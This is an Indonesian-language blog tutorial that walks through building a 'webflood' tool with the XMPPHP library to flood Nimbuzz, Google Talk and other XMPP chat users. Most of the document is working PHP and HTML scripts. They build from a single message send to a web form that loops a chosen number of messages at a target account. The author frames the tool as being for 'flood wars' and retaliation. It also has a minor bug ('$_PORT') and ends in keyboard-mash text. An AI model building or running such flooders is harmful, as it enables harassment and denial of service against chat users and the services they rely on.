Minggu, 25 April 2010

Tutorial webflood for nimbuzz, gtalk, YM, facebook, jabber and the other chat server

Author: darkslayer aka plonk5638
date: 27 Juni 2010
Thanx a lot for the starter of this topic: anak_kost

Akhir-akhir ini ketika saya online kembali menggunakan nimbuzz, sering sekali saya jumpai flood di room-room tertentu oleh orang yang tak di kenal. Bahkan ada beberapa orang yang mengaku di kirimi flood terus-terus menerus oleh beberapa anggota geng tertentu.


Awal sejarah flood di nimbuzz
Pada jaman dahulu flood pada chat nimbuzz dilakukan dengan cara manual yaitu dengan melakukan copy paste secara cepat. Memang cara seperti ini tidak bisa membuat disconnect user PC, akan tetapi pada user HP, dampak yang di timbulkan oleh cara manual ini sangatlah terasa. Maklum karena pada tahun 2007-2008 Kapasitas RAM pada HP masih begitu rendah, sehingga menyebabkan koneksi gprs mengalami ketidakstabilan dan akhirnya menyebabkan disconnect. Karena copy paste manual sangatlah amatir, maka muncullah aplikasi jetflood yaitu sebuah aplikasi sederhana yang di buat dari bahasa visual basic dengan cara kerja melakukan copy-paste dari suatu text dan enter terus menerus dalam jumlah tertentu.

Karena user HP tidak mau ketinggalan maka keluarlah flood dengan cara melakukan copy paste pada xml console yang awalnya di pelopori oleh like_beck. Cara ini pun lalu berkembang dengan pesat. Setetlah itu muncullah aplikasi baby ngiler emplud dan zombie killer flood yang di buat oleh romeo_must_die. Software yang fantastis ini pun sekarang hanya dapat anda miliki jika anda bisa mau membayar ke pemilik software. Alasannya adalah dengan menjadikannya sebagai shareware maka kerusakan di room-room dapat di minimalisir. Banyak para penggunayang begitu kecewa akan hal ini. Tapi akhrnya kebuntuan itu pun hilang sudah ketika anak_kost memperkenalkan apa yang di sebut dengan webflood. Webflood ini berjalan dengan menggunakan script xmpphp dengan tambahan looping script untuk melakukan flooding. Awalnya semua orang menggunakan webhosting gratis untuk mengupload script webflood. Akan tetapi lama-kelamaan sangat susah di jumpai webhosting yang masih mau menerima xmpphp ini, dikarenakan mayoritas webhosting sudah memblokir script xmpphp. Tak kurang akal para maniak flooder pun akhirnya menggunakan localhost untuk melakukan flooding webflood ini. Akan tetapi keterbatasan bandwitch dan spesifikasi tiap komputer localhost sangatlah berpengaruh akan kecepatan flooding. Sehingga ada sebagian orang yang rela membayar webhosting demi melakukan flooding ini.

Alasan pembuatan artikel ini kembali
Artikel ini sebenarnya sudah di buat oleh anak_kost pada web NFI yang lama. Akan tetapi dikarenakan web NFI yang lama tersebut telah di hack oleh orang tak bertanggung jawab maka hilanglah sudah artikel tersebut. Alasan kedua saya membuat artikel ini adalah dikarenakan murni untuk aktifitas war (perang flood). Saya tidak ada maksud tertentu untuk membantu mereka akan tetapi mungkin dengan membaca artikel ini para innocent bisa membalas apabila kenyamanan chatingnya diganggu oleh orang-orang yang tak bertanggung jawab lainnya.

Apa itu nimbuzz?
nimbuzz adalah server chat layak nya mig33, facebook, icq, yahoo, google dan lain-lain. Nimbuzz menggunakan sebagian protokol xmpp sebagai protokol chat nya. Selengkapnya silahkan kunjungi www.nimbuzz.com , www.nimbuzz.com/forum dan www.xmpp.org

Apa itu flooding?
Flood berasalah dari bahasa inggris yang berarti banjir. Flooding dalam istilah chat adalah aktifitas membanjiri layanan chat dengan konten tertentu. Istilah flood sendiri bisa disamakan dengan DoS (Denial of Service) yaitu suatu aktifitas untuk membanjiri target dengan packet-packet tertentu sampai mengalami penolakan layanan.

Apa yang dimaksud dengan DDoS?
DDoS adalah DoS yang dilakukan dengan lebih dari 1 mesin.

Apa itu webflood?
webflood adalah suatu web yang digunakan untuk melakukan flooding dengan menggunakan suatu script yang dalam hal ini adalah xmpphp

Jenis-jenis webflood
1. Webflood yang dijalankan pada localhost PC
2. webflood yang dijalankan pada localhost HP kita
3. webflood yang dijalankan pada webhosting di luar komputer/HP kita

Cara membuat script webflood
Pertama-tama silahkan download aplikasi webserver seperti xampp, appserv, IIS dll. Disini saya mengguanakan xampp yang bisa anda download di www.xampp.org. Setelah download silahkan extract dan install.

lalu untuk script xmpphp silahkan download xmpphp di http://code.google.com/xmpphp. Saya memilih xmpphp-0.1rc2r77.zip. Lalu extract dan akan terdapat folder berikut


Buatlah sebuah folder pada direktori c:\xampp\htdocs (jika anda menggunakan xampp) dengan nama webflood. Setelah itu buka file sendmessage_example.php dengan notepad.

script 1
<?php

// activate full error reporting
//error_reporting(E_ALL & E_STRICT);

include 'XMPPHP/XMPP.php';

#Use XMPPHP_Log::LEVEL_VERBOSE to get more logging for error reports
#If this doesn't work, are you running 64-bit PHP with < 5.2.6?
$conn = new XMPPHP_XMPP('talk.google.com', 5222, 'username', 'password', 'xmpphp', 'gmail.com', $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO);

try {
$conn->connect();
$conn->processUntil('session_start');
$conn->presence();
$conn->message('someguy@someserver.net', 'This is a test message!');
$conn->disconnect();
} catch(XMPPHP_Exception $e) {
die($e->getMessage());
}

Keterangan script 1:
talk.google.com = nama host dari server google talk
5222 = nomer port yang digunakan untuk berkomunikasi
username = nama user ID chat anda
password = password user ID chat anda
xmpphp = nama resource / aplikasi chat /chat client yang kita pakai
gmail.com = nama server dari google talk

Coba masukkan ID chat, password anda. Dalam hal ini saya akan mencoba mengirimkan 1 private chat dari kancute_tonggo@nimbuzz.com ke plonk5638@nimbuzz.com

script 2
<?php

// activate full error reporting
//error_reporting(E_ALL & E_STRICT);

include 'XMPPHP/XMPP.php';

#Use XMPPHP_Log::LEVEL_VERBOSE to get more logging for error reports
#If this doesn't work, are you running 64-bit PHP with < 5.2.6?
$conn = new XMPPHP_XMPP('openfire.nimbuzz.com', 5222, 'kancute_tonggo', '******', 'xmpphp', 'nimbuzz.com', $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO);

try {
$conn->connect();
$conn->processUntil('session_start');
$conn->presence();
$conn->message('plonk5638@nimbuzz.com', 'This is a test message!');
$conn->disconnect();
} catch(XMPPHP_Exception $e) {
die($e->getMessage());
}

Save script di atas dengan nama script2.php dan simpan pada folder c:\xampp\htdocs\webflood. Setelah itu aktifkan apache pada xampp anda. Buka browser anda dan masukkan url berikut http://localhost/webflood/coba.php. Lalu akan terkirim sebuah pesan dari kancute_tonggo@nimbuzz.com/xmpphp kepada plonk5638@nimbuzz.com berisi "This is a test message!"


Keterangan script 2:
Ganti kancute_tonggo dengan ID chat nimbuzz anda. Ganti ***** dengan password chat nimbuzz anda. Ganti plonk5638@nimbuzz.com dengan user ID chat yang anda tuju.

Berhenti di sini jika percobaan anda gagal. Karena ini merupakan hal dasar untuk membuat script webflood selanjutnya. Jika anda tetap mengalami kegagalan di sini coba cek versi php anda apakah di bawah php versi 5.2.6, karena versi minimum php yang di butuhkan adalah 5.2.6. Versi php pada xampp saya adalah versi 5.3.1.

Sekarang mari kita membuat hal ini lebih mudah dalam hal interface nya.
Disini saya akan membuat sebuah interface dari html bukan menyatukan scriptnya menjadi 1 dengan php karena menurut pendapat saya perulangan / looping secara terpisah seperti ini akan membuat script melakukan looping lebih ringan daripada dijadikan satu.

script 3
<html><body>
<form method="post" action="coba1.php">
Username:<input type="text" name="username"/><br>
Password:<input type="text" name="password"/><br>
Host:<input type="text" name="host"/><br>
Port:<input type="text" name="port"/><br>
Server Name:<input type="text" name="server"/><br>
Resource:<input type="text" name="resource"/><br>
Username Target:<input type="text" name="target"/><br>
Enter your message:<input type="text" name="textflood"/><br>
Kirim<input type="submit" name="Submit" value="Submit"/>
</form>
</body></html>

Simpan dengan nama coba1.html dan save pada direktori webflood tadi
Keterangan script 3:
Tidak ada, karena saya kira anda sudah memahami script html yang sederhana ini. Mengenai penjelasan mengapa saya tetap memasukkan textbox port, server dan host yang memiliki nilai tetap jika saya menggunakan server nimbuzz? Hal ini karena nantinya kita juga akan berbicara mengenai flooding ke server lain selain server nimbuzz. Just do it !!

script 4
<?php

$user=$_POST['username'];
$pass=$_POST['password'];
$host=$_POST['host'];
$port= '5222';
$server=$_POST['server'];
$resource=$_PORT['resource'];
$to=$_POST['target'];
$body=$_POST['textflood'];
include 'XMPPHP/XMPP.php';

$conn = new XMPPHP_XMPP($host, $port, $user, $pass, $resource, $server, $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO);

try {
$conn->connect();
$conn->processUntil('session_start');
$conn->presence();
$conn->message($to, $body);
$conn->disconnect();
} catch(XMPPHP_Exception $e) {
die($e->getMessage());
}

save dengan nama coba1.php pada direktori webflood.
Keterangan script 4:
Disini saya hanya melakukan declare variable agar kita bisa dengan mudah mengubah username, password, dll.

Sekarang coba buka browser anda dan tulis url http://localhost/webflood/coba.html. Dan masukkan data seperti data pada script 2


Lalu klik submit. Maka kancut_tonggo akan mengirimkan 1 private chat kepada plonk5638. Bila tidak ada pesan yang terkirim, tolong ulangi lagi sampai berhasil, karena ini masih dasar.

Flooding Private Chat
Sekarang kita beranjak ke flood private chat dengan melakukan looping / perulangan pada jumlah tertentu. Di sini kita akan menambahkan textbox jumlah dan script looping yaitu

script 5:
for ($i = 1; $i <=$jumlah; $i++)

Keterangan script 5:
script ini akan memerintahkan untuk melakukan perulangan sebanyak variabel jumlah.

Sekarang kita masukkan textbox untuk menambahkan jumlah pada coba1.html. Sehingga menjadi:

script 6
<html><body>
<form method="post" action="coba2.php">
Username:<input type="text" name="username"/><br>
Password:<input type="text" name="password"/><br>
Host:<input type="text" name="host"/><br>
Port:<input type="text" name="port"/><br>
Server Name:<input type="text" name="server"/><br>
Resource:<input type="text" name="resource"/><br>
Username Target:<input type="text" name="target"/><br>
Jumlah Flood:<input type="text" name="jumlah"/><br>
Enter your message:<input type="text" name="textflood"/><br>
Kirim<input type="submit" name="Submit" value="Submit"/>
</form>
</body></html>

Copy script di atas dan save dengan nama coba2.html

Keterangan script 6:
Disini saya cuma menambahkan textbox jumlah untuk menentukan jumlah flood yang akan kita kirimkan

script 7
<?php

$user=$_POST['username'];
$pass=$_POST['password'];
$host=$_POST['host'];
$port= '5222';
$server=$_POST['server'];
$resource=$_PORT['resource'];
$to=$_POST['target'];
$body=$_POST['textflood'];
$jumlah=$_POST['jumlah'];
include 'XMPPHP/XMPP.php';

$conn = new XMPPHP_XMPP($host, $port, $user, $pass, $resource, $server, $printlog=false, $loglevel=XMPPHP_Log::LEVEL_INFO);

try {
$conn->connect();
$conn->processUntil('session_start');
$conn->presence();
for ($i = 1; $i <=$jumlah; $i++)
{
$conn->message($to, $body);
}
$conn->disconnect();
} catch(XMPPHP_Exception $e) {
die($e->getMessage());
}

Save dengan nama coba2.php. Lalu masuk seperti biasa test script ini. Jika berhasil maka 10 private chat akan terkirim.


dasdasdasdsadasd